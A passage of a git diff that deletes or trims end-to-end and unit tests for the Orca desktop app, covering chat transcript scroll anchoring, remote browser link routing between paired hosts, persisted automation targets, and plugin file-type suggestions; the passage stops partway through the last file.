a/tests/e2e/native-chat-history-prepend-anchor.spec.ts b/tests/e2e/native-chat-history-prepend-anchor.spec.ts index 2e7306ab225..4cfab54696e 100644 --- a/tests/e2e/native-chat-history-prepend-anchor.spec.ts +++ b/tests/e2e/native-chat-history-prepend-anchor.spec.ts @@ -3,7 +3,7 @@ import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' import os from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import type { GlobalSettings } from '../../src/shared/global-settings-types' +import type { GlobalSettings } from '../../src/shared/settings/global-settings-types' import { test, expect } from './helpers/orca-app' import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' import { @@ -63,45 +63,6 @@ async function toggleTerminalTabToChatView( }, args) } -async function activateNewTerminalTab(page: Page, worktreeId: string): Promise { - await page.evaluate((id) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const tab = state.createTab(id, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - }, worktreeId) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - state.setActiveTab(id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - }, tabId) -} - -async function publishHiddenLaunchMessage( - page: Page, - args: { tabId: string; text: string } -): Promise { - await page.evaluate(({ tabId, text }) => { - window.__store?.getState().seedNativeChatLaunchPrompt({ - tabId, - agent: 'claude', - text, - createdAt: Date.now() - }) - }, args) -} - function claudeTranscript(rowCount: number, sessionId: string): string { const startedAt = Date.now() - rowCount * 1_000 return `${Array.from({ length: rowCount }, (_, index) => { @@ -265,96 +226,4 @@ test.describe('Native chat transcript anchoring', () => { rmSync(scratchDir, { recursive: true, force: true }) } }) - - test('keeps a detached transcript in place across a hidden update', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const boundPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const descriptor = await waitForActivePaneHookDescriptor(orcaPage) - expect(descriptor.paneKey).toBe(`${boundPane.tabId}:${boundPane.activeLeafId}`) - const [tabId] = descriptor.paneKey.split(':') - const sessionId = `e2e-hidden-scroll-${randomUUID()}` - const scratchDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-native-chat-hidden-')) - const transcriptPath = path.join(scratchDir, `${sessionId}.jsonl`) - writeFileSync(transcriptPath, claudeTranscript(TRANSCRIPT_ROWS, sessionId)) - - try { - await enableNativeChatSetting(orcaPage) - await seedClaudeProviderSession(orcaPage, { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - sessionId, - transcriptPath - }) - await toggleTerminalTabToChatView(orcaPage, { - tabId, - worktreeId: descriptor.worktreeId - }) - - const root = orcaPage.locator('[data-native-chat-root="true"]') - const scroll = orcaPage.locator('[data-native-chat-scroll]') - const jump = orcaPage.getByRole('button', { name: 'Jump to latest' }) - await expect(root).toBeVisible({ timeout: 15_000 }) - await expect(orcaPage.getByText('E2E transcript row 0649', { exact: true })).toBeAttached({ - timeout: 30_000 - }) - await scroll.hover() - await orcaPage.mouse.wheel(0, -2_000) - await expect - .poll(async () => - scroll.evaluate( - (element) => element.scrollHeight - element.clientHeight - element.scrollTop - ) - ) - .toBeGreaterThan(1_000) - // Rows the wheel mounted above the reader settle their measured heights frames later. - const readingAt = await scroll.evaluate(async (element) => { - let previousGeometry = '' - let stableFrames = 0 - for (let frame = 0; frame < 120 && stableFrames < 5; frame += 1) { - await new Promise((resolve) => requestAnimationFrame(() => resolve())) - const geometry = `${element.scrollHeight}:${element.scrollTop}` - stableFrames = geometry === previousGeometry ? stableFrames + 1 : 0 - previousGeometry = geometry - } - return element.scrollTop - }) - await expect(jump).toBeVisible() - - await activateNewTerminalTab(orcaPage, descriptor.worktreeId) - await expect(root).toBeHidden() - await publishHiddenLaunchMessage(orcaPage, { - tabId, - text: 'E2E update received while the transcript is hidden' - }) - await activateTerminalTab(orcaPage, tabId) - - await expect(root).toBeVisible({ timeout: 15_000 }) - await expect( - orcaPage.getByText('E2E update received while the transcript is hidden', { exact: true }) - ).toBeAttached() - await expect - .poll(async () => - Math.abs((await scroll.evaluate((element) => element.scrollTop)) - readingAt) - ) - .toBeLessThanOrEqual(2) - await orcaPage.waitForTimeout(500) - expect( - Math.abs((await scroll.evaluate((element) => element.scrollTop)) - readingAt) - ).toBeLessThanOrEqual(2) - await expect(jump).toBeVisible() - const finalPane = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(finalPane.tabId).toBe(boundPane.tabId) - expect(finalPane.activeLeafId).toBe(boundPane.activeLeafId) - expect(finalPane.ptyIdsByLeafId).toEqual(boundPane.ptyIdsByLeafId) - await expect(root).toBeVisible() - } finally { - rmSync(scratchDir, { recursive: true, force: true }) - } - }) }) diff --git a/tests/e2e/paired-remote-browser-link-open-routing.spec.ts b/tests/e2e/paired-remote-browser-link-open-routing.spec.ts deleted file mode 100644 index 75a761571a4..00000000000 --- a/tests/e2e/paired-remote-browser-link-open-routing.spec.ts +++ /dev/null @@ -1,535 +0,0 @@ -import { createServer, type IncomingMessage, type Server, type ServerResponse } from 'node:http' -import type { AddressInfo } from 'node:net' -import type { Page } from '@stablyai/playwright-test' -import { LOCAL_EXECUTION_HOST_ID } from '../../src/shared/execution-host' -import { readOwnedPageUrls } from './helpers/client-hosted-browser-observer' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { readHostBrowserPageUrls } from './helpers/host-session-tabs' -import { expect, test } from './helpers/orca-app' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -// Remote pane dev-server links must stay on its owning runtime; assert host records because a local fallback could load a different machine’s server. - -const PANE_PATH = '/remote-pane' -const LINK_PATH = '/remote-link-target' -const LINK_MARKER = 'remote link target' - -type LinkFixtureServer = { - close: () => Promise - linkLoadCount: () => number - linkUrl: string - paneUrl: string -} - -async function startLinkFixtureServer(): Promise { - let linkLoadCount = 0 - const server: Server = createServer((request: IncomingMessage, response: ServerResponse) => { - const requestPath = request.url ?? '/' - if (requestPath.startsWith(LINK_PATH)) { - linkLoadCount += 1 - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8' - }) - response.end(`

${LINK_MARKER}

`) - return - } - if (requestPath.startsWith(PANE_PATH)) { - response.writeHead(200, { - 'cache-control': 'no-store', - 'content-type': 'text/html; charset=utf-8' - }) - // Fill the viewport with the anchor so every screencast right-click tests routing rather than coordinate mapping. - response.end( - `open me` - ) - return - } - response.writeHead(404, { 'content-type': 'text/plain' }) - response.end('not found') - }) - await new Promise((resolve, reject) => { - server.once('error', reject) - server.listen(0, '127.0.0.1', () => { - server.off('error', reject) - resolve() - }) - }) - const { port } = server.address() as AddressInfo - const origin = `http://127.0.0.1:${port}` - return { - close: () => - new Promise((resolve, reject) => { - // Keep-alive sockets from either browser would otherwise hold the close open. - server.closeAllConnections() - server.close((error) => (error ? reject(error) : resolve())) - }), - linkLoadCount: () => linkLoadCount, - linkUrl: `${origin}${LINK_PATH}`, - paneUrl: `${origin}${PANE_PATH}` - } -} - -// Read the host through its own CLI socket; without client-host capability its projection contains only server-placed pages. -async function readHostServerPlacedBrowserUrls( - host: HeadlessPairedRuntimeHost, - worktreeId: string -): Promise { - const response = await host.client.call<{ tabs: { type: string; url?: string }[] }>( - 'session.tabs.list', - { worktree: `id:${worktreeId}` }, - { timeoutMs: 15_000 } - ) - return response.result.tabs.filter((tab) => tab.type === 'browser').map((tab) => tab.url ?? '') -} - -/** Under server placement the client renders nothing itself, so any is a local fallback. */ -async function readLocalBrowserViewUrls(page: Page): Promise { - return page.evaluate(() => - Array.from(document.querySelectorAll('webview')).map( - (view) => (view as HTMLElement & { src?: string }).src || view.getAttribute('src') || '' - ) - ) -} - -async function readRemotePaneUrls(page: Page, worktreeId: string): Promise { - return page.evaluate((worktreeId) => { - const state = window.__store?.getState() - const workspaces = state?.browserTabsByWorktree[worktreeId] ?? [] - return workspaces - .flatMap((workspace) => state?.browserPagesByWorkspace[workspace.id] ?? []) - .filter( - (browserPage) => state?.remoteBrowserPageHandlesByPageId[browserPage.id]?.environmentId - ) - .map((browserPage) => browserPage.url) - }, worktreeId) -} - -/** The client mirrors host browser tabs on its own; this finds the mirrored page for one URL. */ -async function findMirroredPage( - page: Page, - worktreeId: string, - url: string -): Promise<{ - handleEnvironmentId: string | null - pageId: string -} | null> { - return page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - for (const browserPage of state?.browserPagesByWorkspace[workspace.id] ?? []) { - if (browserPage.url.startsWith(url)) { - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - handleEnvironmentId: handle?.environmentId ?? null, - pageId: browserPage.id - } - } - } - } - return null - }, - { url, worktreeId } - ) -} - -async function focusMirroredPage(page: Page, worktreeId: string, pageId: string): Promise { - await page.evaluate( - ({ pageId, worktreeId }) => { - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, pageId, { - surfacePane: true - }) - }, - { pageId, worktreeId } - ) -} - -/** Every browser row this client holds for the worktree, as the store sees it. */ -async function readMirroredRows( - page: Page, - worktreeId: string -): Promise<{ environmentId: string | null; staged: boolean; title: string; url: string }[]> { - return page.evaluate((worktreeId) => { - const state = window.__store?.getState() - return (state?.browserTabsByWorktree[worktreeId] ?? []).flatMap((workspace) => - (state?.browserPagesByWorkspace[workspace.id] ?? []).map((browserPage) => { - const handle = state?.remoteBrowserPageHandlesByPageId[browserPage.id] - return { - environmentId: handle?.environmentId ?? null, - staged: handle?.staged === true, - title: browserPage.title, - url: browserPage.url - } - }) - ) - }, worktreeId) -} - -// Read the client’s own host projection beside its store to distinguish lost apply from lost publication. -async function readHostRowsThroughClient( - page: Page, - environmentId: string, - worktreeId: string -): Promise { - return page.evaluate( - async ({ environmentId, worktreeId }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'session.tabs.list', - params: { worktree: `id:${worktreeId}` }, - timeoutMs: 15_000 - }) - if (!response.ok) { - return [''] - } - const result = response.result - if ( - !result || - typeof result !== 'object' || - !('tabs' in result) || - !Array.isArray(result.tabs) - ) { - return [''] - } - const tabs = result.tabs.filter( - (tab): tab is { type: string; url?: string } => - typeof tab === 'object' && - tab !== null && - 'type' in tab && - typeof tab.type === 'string' && - (!('url' in tab) || typeof tab.url === 'string') - ) - return tabs.filter((tab) => tab.type === 'browser').map((tab) => tab.url ?? '') - }, - { environmentId, worktreeId } - ) -} - -// Wait for the background mirrored row before checking panes; only surfacing the workspace mounts its runtime pane. -async function waitForMirroredLinkPageId( - page: Page, - environmentId: string, - hostRowsAtOpen: readonly string[], - worktreeId: string, - url: string -): Promise { - try { - await expect - .poll(() => findMirroredPage(page, worktreeId, url), { timeout: 60_000 }) - .not.toBeNull() - } catch { - // Compare store and per-client host projection to distinguish lost apply, projection or navigation; use the happy-path host-socket sample because rereading it can hang. - const clientRows = await readMirroredRows(page, worktreeId) - const hostRowsViaClient = await readHostRowsThroughClient(page, environmentId, worktreeId) - throw new Error( - `the client never mirrored the link the host opened; client rows: ${JSON.stringify( - clientRows - )}; host rows at open: ${JSON.stringify( - hostRowsAtOpen - )}; host rows through client: ${JSON.stringify(hostRowsViaClient)}` - ) - } - const opened = await findMirroredPage(page, worktreeId, url) - if (!opened) { - throw new Error('mirrored link page disappeared') - } - return opened.pageId -} - -/** Placement is a user setting whose default has already flipped once, so every act pins its own. */ -async function pinClientHostedPlacement(page: Page, enabled: boolean): Promise { - await page.evaluate(async (enabled) => { - await window.__store?.getState().updateSettings({ browserClientHostedRemoteEnabled: enabled }) - }, enabled) - expect( - await page.evaluate( - () => window.__store?.getState().settings?.browserClientHostedRemoteEnabled ?? null - ), - 'the placement setting this act is written for did not take' - ).toBe(enabled) -} - -/** Leaves the workspace holding only the screencast pane the next act right-clicks. */ -async function closeBrowserTabsExceptPane( - page: Page, - worktreeId: string, - paneUrl: string -): Promise { - await page.evaluate( - ({ paneUrl, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - const pages = state?.browserPagesByWorkspace[workspace.id] ?? [] - if (!pages.some((browserPage) => browserPage.url.startsWith(paneUrl))) { - state?.closeBrowserTab(workspace.id) - } - } - }, - { paneUrl, worktreeId } - ) -} - -type LinkOpenOutcome = 'opened on this machine' | 'pending' | 'refused' - -/** The previous act's guest is settled away before this runs, so any page here is the fallback. */ -async function readLinkOpenOutcome( - client: PairedElectronClient, - linkUrl: string -): Promise { - if ((await readOwnedPageUrls(client.app, linkUrl)).length > 0) { - return 'opened on this machine' - } - const notice = client.page.getByTestId('remote-browser-stream-error') - const text = (await notice.count()) > 0 ? ((await notice.first().textContent()) ?? '') : '' - return text.includes('Unable to open URL.') ? 'refused' : 'pending' -} - -async function openLinkFromRemotePaneContextMenu(page: Page): Promise { - const remoteFrame = page.locator('[data-testid="remote-browser-frame"]:visible').first() - await expect(remoteFrame).toBeVisible({ timeout: 60_000 }) - await remoteFrame.click({ button: 'right', position: { x: 60, y: 60 }, force: true }) - await expect(page.getByTestId('remote-browser-context-menu')).toBeVisible({ timeout: 30_000 }) - // The menu appears only after remote anchor hit-testing resolves. - const openInOrca = page.getByRole('menuitem', { name: 'Open Link In Orca Browser' }) - await expect(openInOrca).toBeVisible({ timeout: 30_000 }) - await openInOrca.click() -} - -test('opens a remote pane link on the pane runtime and refuses to fall back to the client', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const fixture = await startLinkFixtureServer() - const host: HeadlessPairedRuntimeHost = await launchHeadlessPairedRuntimeHost() - let client: PairedElectronClient | null = null - - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - client = await launchPairedElectronClient(host.offer, testInfo, 'Remote browser link routing') - const page = client.page - const environmentId = client.environmentId - - await expect - .poll(() => page.evaluate(() => window.__store?.getState().allWorktrees().length ?? 0), { - timeout: 60_000, - message: 'paired client never saw a host worktree' - }) - .toBeGreaterThan(0) - const worktreeId = await page.evaluate( - () => window.__store?.getState().allWorktrees()[0]?.id ?? null - ) - if (!worktreeId) { - throw new Error('paired client did not receive the host worktree') - } - - const worktreeSelector = `id:${worktreeId}` - - await page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId, worktreeId } - ) - // Wait for the empty workspace’s auto-created terminal before refocusing the pane so late creation cannot hide it. - await expect - .poll( - () => - page.evaluate( - (worktreeId) => - (window.__store?.getState().tabsByWorktree[worktreeId]?.length ?? 0) > 0, - worktreeId - ), - { timeout: 60_000, message: 'the activated workspace never seeded its first terminal' } - ) - .toBe(true) - - await host.client.call( - 'browser.tabCreate', - // Unplaced server-side creates go to the paired desktop; this pane is a streamed page. - { - worktree: `id:${worktreeId}`, - url: fixture.paneUrl, - activate: true, - placement: { kind: 'server' } - }, - { timeoutMs: 30_000 } - ) - await expect - .poll(() => findMirroredPage(page, worktreeId, fixture.paneUrl), { - timeout: 60_000, - message: 'the client never mirrored the host browser page' - }) - .not.toBeNull() - const pane = await findMirroredPage(page, worktreeId, fixture.paneUrl) - if (!pane) { - throw new Error('mirrored host browser page disappeared') - } - expect(pane.handleEnvironmentId).toBe(environmentId) - await focusMirroredPage(page, worktreeId, pane.pageId) - const paneCountBeforeOpen = await page.getByTestId('remote-browser-pane').count() - - // With server placement, require a streamed runtime page and no local render. - await pinClientHostedPlacement(page, false) - await openLinkFromRemotePaneContextMenu(page) - - await expect - .poll( - async () => - (await readHostServerPlacedBrowserUrls(host, worktreeId)).filter((url) => - url.startsWith(fixture.linkUrl) - ).length, - { timeout: 60_000, message: 'the link never opened as a browser tab on the host runtime' } - ) - .toBe(1) - // The host's browser really fetched it; a tab record alone would not prove a load. - expect(fixture.linkLoadCount()).toBeGreaterThan(0) - await expect - .poll(() => readOwnedPageUrls(host.app, fixture.linkUrl), { - timeout: 60_000, - message: 'the runtime process never held a page for the link' - }) - .toHaveLength(1) - // Opening in background must leave the original pane selected. - const hostRowsAtFirstOpen = await readHostServerPlacedBrowserUrls(host, worktreeId) - const linkPageId = await waitForMirroredLinkPageId( - page, - environmentId, - hostRowsAtFirstOpen, - worktreeId, - fixture.linkUrl - ) - expect(await page.getByTestId('remote-browser-pane').count()).toBe(paneCountBeforeOpen) - expect(await readRemotePaneUrls(page, worktreeId)).toContainEqual( - expect.stringContaining(fixture.linkUrl) - ) - await focusMirroredPage(page, worktreeId, linkPageId) - await expect(page.getByTestId('remote-browser-pane')).toHaveCount(paneCountBeforeOpen + 1, { - timeout: 60_000 - }) - expect(await readLocalBrowserViewUrls(page)).toHaveLength(0) - - await closeBrowserTabsExceptPane(page, worktreeId, fixture.paneUrl) - await expect(page.getByTestId('remote-browser-pane')).toHaveCount(paneCountBeforeOpen, { - timeout: 60_000 - }) - await expect - .poll( - async () => - (await readHostServerPlacedBrowserUrls(host, worktreeId)).filter((url) => - url.startsWith(fixture.linkUrl) - ).length, - { timeout: 60_000, message: 'the runtime kept the closed browser tab' } - ) - .toBe(0) - await focusMirroredPage(page, worktreeId, pane.pageId) - const linkLoadsBeforeSecondAct = fixture.linkLoadCount() - - // Even client-hosted preference cannot override the remote pane’s runtime owner pin. - await pinClientHostedPlacement(page, true) - await openLinkFromRemotePaneContextMenu(page) - - await expect - .poll( - async () => - (await readHostServerPlacedBrowserUrls(host, worktreeId)).filter((url) => - url.startsWith(fixture.linkUrl) - ).length, - { - timeout: 60_000, - message: 'the owner-pinned link did not stay server-hosted' - } - ) - .toBe(1) - expect(fixture.linkLoadCount()).toBeGreaterThan(linkLoadsBeforeSecondAct) - await expect - .poll(() => readOwnedPageUrls(host.app, fixture.linkUrl), { - timeout: 60_000, - message: 'the server-hosted guest never loaded the link on the pane runtime' - }) - .toHaveLength(1) - expect(await readOwnedPageUrls(client!.app, fixture.linkUrl)).toHaveLength(0) - const hostRowsAtOwnerPinnedOpen = await readHostServerPlacedBrowserUrls(host, worktreeId) - const ownerPinnedLinkPageId = await waitForMirroredLinkPageId( - page, - environmentId, - hostRowsAtOwnerPinnedOpen, - worktreeId, - fixture.linkUrl - ) - expect(await page.getByTestId('remote-browser-pane').count()).toBe(paneCountBeforeOpen) - await focusMirroredPage(page, worktreeId, ownerPinnedLinkPageId) - await expect(page.getByTestId('remote-browser-pane')).toHaveCount(paneCountBeforeOpen + 1, { - timeout: 60_000 - }) - expect(await readLocalBrowserViewUrls(page)).toHaveLength(0) - - // Client close drops rows before host teardown; settle mirror, host inventory and guest before the next baseline. - await closeBrowserTabsExceptPane(page, worktreeId, fixture.paneUrl) - await expect - .poll(() => findMirroredPage(page, worktreeId, fixture.linkUrl), { - timeout: 60_000, - message: 'the client kept the closed owner-pinned link tab' - }) - .toBeNull() - await expect - .poll( - async () => - (await readHostServerPlacedBrowserUrls(host, worktreeId)).filter((url) => - url.startsWith(fixture.linkUrl) - ).length, - { timeout: 60_000, message: 'the runtime kept the closed server-hosted page' } - ) - .toBe(0) - await expect - .poll(() => readOwnedPageUrls(host.app, fixture.linkUrl), { - timeout: 60_000, - message: 'the server-hosted guest outlived the tab that owned it' - }) - .toHaveLength(0) - await focusMirroredPage(page, worktreeId, pane.pageId) - - // After workspace ownership moves local, refuse remote-pane links rather than load the runtime’s dev server here. - await page.evaluate( - ({ localHostId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, localHostId) - }, - { localHostId: LOCAL_EXECUTION_HOST_ID, worktreeId } as const - ) - await focusMirroredPage(page, worktreeId, pane.pageId) - // Keep client placement enabled to prove refusal follows workspace ownership. - await pinClientHostedPlacement(page, true) - const hostPagesBefore = await readHostBrowserPageUrls(host.client, worktreeSelector) - const linkLoadsBefore = fixture.linkLoadCount() - - await openLinkFromRemotePaneContextMenu(page) - - // Wait for refusal or a local page so a delayed fallback cannot escape the assertion. - await expect - .poll(() => readLinkOpenOutcome(client!, fixture.linkUrl), { - timeout: 30_000, - message: 'the link open produced neither a refusal nor a page' - }) - .not.toBe('pending') - expect(await readLinkOpenOutcome(client, fixture.linkUrl)).toBe('refused') - - expect( - await page.evaluate(() => window.__store?.getState().activeWorkspaceExecutionHostId ?? null) - ).toBe(LOCAL_EXECUTION_HOST_ID) - expect(await readOwnedPageUrls(client.app, fixture.linkUrl)).toHaveLength(0) - expect(await readHostBrowserPageUrls(host.client, worktreeSelector)).toEqual(hostPagesBefore) - expect(fixture.linkLoadCount()).toBe(linkLoadsBefore) - } finally { - if (client) { - await client.dispose() - } - await host.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/persistence-automation-target-dispatch.unit.test.ts b/tests/e2e/persistence-automation-target-dispatch.unit.test.ts deleted file mode 100644 index e38b8d68eec..00000000000 --- a/tests/e2e/persistence-automation-target-dispatch.unit.test.ts +++ /dev/null @@ -1,121 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { - closeTestStores, - testState, - createStore, - writeDataFile, - makeRepo -} from '../../src/main/persistence/persistence-test-harness' -import { getDefaultPersistedState } from '../../src/shared/constants' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import { resolveAutomationRunTarget } from '../../src/main/automations/ownership/run-target-resolution' -import { buildAutomationWorktreeCreateArgs } from '../../src/main/automations/launch/automation-workspace-create' - -vi.mock('../../src/main/ssh/config/ssh-config-parser', () => ({ - loadUserSshConfig: () => ({ hosts: [] }), - sshConfigHostsToTargets: () => [] -})) -vi.mock('../../src/main/telemetry/client', () => ({ track: vi.fn() })) -vi.mock('../../src/main/telemetry/cohort-classifier', () => ({ - getCohortAtEmit: () => ({ nth_repo_added: 2 }) -})) - -beforeEach(() => { - testState.dir = mkdtempSync(join(tmpdir(), 'orca-target-dispatch-')) -}) -afterEach(async () => { - await closeTestStores() - rmSync(testState.dir, { recursive: true, force: true }) -}) - -describe('persisted automation target dispatch', () => { - it.each([false, true])( - 'retains copied local and SSH targets through runtime writes, reload and dispatch, reversed=%s', - async (reverse) => { - const repos = [ - makeRepo({ executionHostId: 'local', path: '/same/path' }), - makeRepo({ executionHostId: 'ssh:box', connectionId: 'box', path: '/same/path' }) - ] - writeDataFile({ - ...getDefaultPersistedState(testState.dir), - repos: reverse ? repos.toReversed() : repos, - sshTargets: [ - { - id: 'box', - label: 'Box', - host: 'example.test', - username: 'test', - port: 22, - generation: 7 - } - ] - }) - const store = await createStore() - const runtime = new OrcaRuntimeService(store) - const ids: string[] = [] - for (const hostId of ['local', 'ssh:box'] as const) { - const setup = store - .getProjectHostSetups() - .find((row) => row.repoId === 'r1' && row.hostId === hostId)! - expect(setup).toBeDefined() - const created = await runtime.createAutomation({ - name: hostId, - prompt: 'Run checks', - agentId: 'codex', - repo: 'id:r1', - workspaceMode: 'new_per_run', - timezone: 'UTC', - rrule: 'FREQ=DAILY;BYHOUR=9;BYMINUTE=0', - dtstart: 1, - runContext: { - kind: 'workspace-run', - projectId: setup.projectId, - projectHostSetupId: setup.id, - hostId, - repoId: 'r1', - path: '/same/path' - } - }) - ids.push(created.id) - const owner = store.automationOwnerPrecondition(created.id)! - const edited = await runtime.updateAutomation( - created.id, - { name: `${hostId} edited` }, - { expectedOwner: owner } - ) - expect(edited.runContext).toMatchObject({ hostId, repoId: 'r1', path: '/same/path' }) - expect(edited.executionTargetId).toBe(hostId === 'local' ? 'local' : 'box') - } - await store.flushPendingOrThrowAsync() - const reloaded = await createStore() - for (const [index, hostId] of (['local', 'ssh:box'] as const).entries()) { - const saved = reloaded.listAutomations().find((row) => row.id === ids[index])! - const selector = reloaded - .listAutomationsForScope() - .items.find((row) => row.automationId === saved.id)?.selector - expect(selector).toEqual( - hostId === 'local' - ? { kind: 'self' } - : { kind: 'ssh', targetId: 'box', targetGeneration: 7 } - ) - const resolvedTarget = resolveAutomationRunTarget(reloaded, saved) - expect(resolvedTarget.ok).toBe(true) - if (!resolvedTarget.ok) { - throw new Error(resolvedTarget.error) - } - expect(resolvedTarget.repo.executionHostId).toBe(hostId) - const run = reloaded.createAutomationRun(saved, 1, 'manual') - expect( - buildAutomationWorktreeCreateArgs({ - automation: saved, - repo: resolvedTarget.repo, - run - }).repoSelector - ).toEqual({ selector: 'id:r1', hostId }) - } - } - ) -}) diff --git a/tests/e2e/plugin-file-type-suggestion.spec.ts b/tests/e2e/plugin-file-type-suggestion.spec.ts deleted file mode 100644 index 067aa9c1219..00000000000 --- a/tests/e2e/plugin-file-type-suggestion.spec.ts +++ /dev/null @@ -1,235 +0,0 @@ -/** - * Official ids start with `orca-`, as the catalog requires for unsolicited suggestions. - * - * Invariant: opening a file a catalog plugin handles suggests that plugin — an unknown file - * (.gleam syntax), Orca's binary placeholder (.xlsx editor), and a file Orca already shows as text - * (.excalidraw editor). View plugin opens the plugin's page and never installs. - */ - -import { PLUGIN_MANIFEST_V2_SINCE } from '../../src/shared/plugins/manifest/plugin-schema-field-docs' -import { cp, mkdir, mkdtemp, realpath, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { TestInfo } from '@stablyai/playwright-test' -import { expect, test } from '@stablyai/playwright-test' -import { hashPluginTree } from '../../src/main/plugins/artifacts/plugin-content-hash' -import { pluginContributionSummary } from '../../src/shared/plugins/contributions/plugin-contribution-summary' -import { pluginEditorFileTypes } from '../../src/shared/plugins/contributions/plugin-file-type' -import { parsePluginManifest } from '../../src/shared/plugins/manifest/plugin-manifest' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { commitRepository, configureFixtureGit, headCommit } from './helpers/plugin-git-fixture' -import { openRepoFile } from './helpers/plugin-smoke' - -const SYNTAX_PLUGIN = 'orca-gleam-syntax' -const SYNTAX_PLUGIN_KEY = `stablyai.${SYNTAX_PLUGIN}` - -const EDITORS = [ - { - repo: 'orca-spreadsheet', - name: 'Spreadsheet Viewer', - editor: { - id: 'spreadsheet', - title: 'Spreadsheet', - extensions: ['.xlsx'], - entry: 'editor/index.html', - contentKind: 'bytes' - } - }, - { - repo: 'orca-excalidraw', - name: 'Excalidraw', - editor: { - id: 'excalidraw', - title: 'Excalidraw', - extensions: ['.excalidraw', '.excalidraw.json'], - entry: 'editor/index.html' - } - } -] as const - -async function createCatalogFixture(root: string) { - const repositories = join(root, 'repositories') - const home = join(root, 'home') - await mkdir(home, { recursive: true }) - const gitEnvironment = await configureFixtureGit(home, repositories, [ - 'orca-plugins', - SYNTAX_PLUGIN, - ...EDITORS.map((plugin) => plugin.repo) - ]) - - const syntaxDir = join(repositories, `${SYNTAX_PLUGIN}.git`) - await cp(join(process.cwd(), 'examples', 'plugins', SYNTAX_PLUGIN), syntaxDir, { - recursive: true - }) - // Why before init: the release vouches for the plugin files, not the repository metadata. - const syntaxHash = await hashPluginTree(syntaxDir) - if (!syntaxHash.ok) { - throw new Error(syntaxHash.error) - } - await commitRepository(syntaxDir, gitEnvironment) - const plugins: unknown[] = [ - { - id: SYNTAX_PLUGIN_KEY, - source: { - kind: 'git', - url: `https://github.com/stablyai/${SYNTAX_PLUGIN}.git`, - ref: 'v1.0.0' - }, - releases: [ - { - version: '1.0.0', - commit: await headCommit(syntaxDir, gitEnvironment), - contentHash: syntaxHash.hash, - execution: 'data', - minimumOrca: PLUGIN_MANIFEST_V2_SINCE, - name: 'Gleam', - types: ['syntax'], - fileTypes: ['gleam'] - } - ] - } - ] - - for (const plugin of EDITORS) { - const dir = join(repositories, `${plugin.repo}.git`) - await mkdir(join(dir, 'editor'), { recursive: true }) - await writeFile(join(dir, 'editor', 'index.html'), '
editor
\n') - const manifest = { - manifestVersion: 2, - execution: 'sandboxed-ui', - id: plugin.repo, - publisher: 'stablyai', - name: plugin.name, - version: '1.0.0', - license: 'MIT', - engines: { orca: `>=${PLUGIN_MANIFEST_V2_SINCE}` }, - contributes: { customEditors: [plugin.editor] } - } - await writeFile(join(dir, 'orca-plugin.json'), JSON.stringify(manifest)) - const parsed = parsePluginManifest(manifest) - if (!parsed.ok) { - throw new Error(parsed.error) - } - const hashed = await hashPluginTree(dir) - if (!hashed.ok) { - throw new Error(hashed.error) - } - await commitRepository(dir, gitEnvironment) - plugins.push({ - id: `stablyai.${plugin.repo}`, - source: { kind: 'git', url: `https://github.com/stablyai/${plugin.repo}.git`, ref: 'v1.0.0' }, - releases: [ - { - version: '1.0.0', - commit: await headCommit(dir, gitEnvironment), - contentHash: hashed.hash, - execution: 'sandboxed-ui', - minimumOrca: PLUGIN_MANIFEST_V2_SINCE, - name: plugin.name, - contributes: pluginContributionSummary(parsed.manifest), - fileTypes: pluginEditorFileTypes(parsed.manifest.contributes), - editorFileTypes: pluginEditorFileTypes(parsed.manifest.contributes) - } - ] - }) - } - - const catalog = join(repositories, 'orca-plugins.git') - await mkdir(catalog, { recursive: true }) - await writeFile( - join(catalog, 'orca-catalog.json'), - JSON.stringify({ catalogVersion: 2, name: 'Orca Plugins', owner: 'stablyai', plugins }) - ) - await commitRepository(catalog, gitEnvironment) - - const workspace = join(root, 'workspace') - await mkdir(workspace, { recursive: true }) - await writeFile(join(workspace, 'main.gleam'), 'pub fn main() { Nil }\n') - // NULs make Orca show its binary placeholder, as 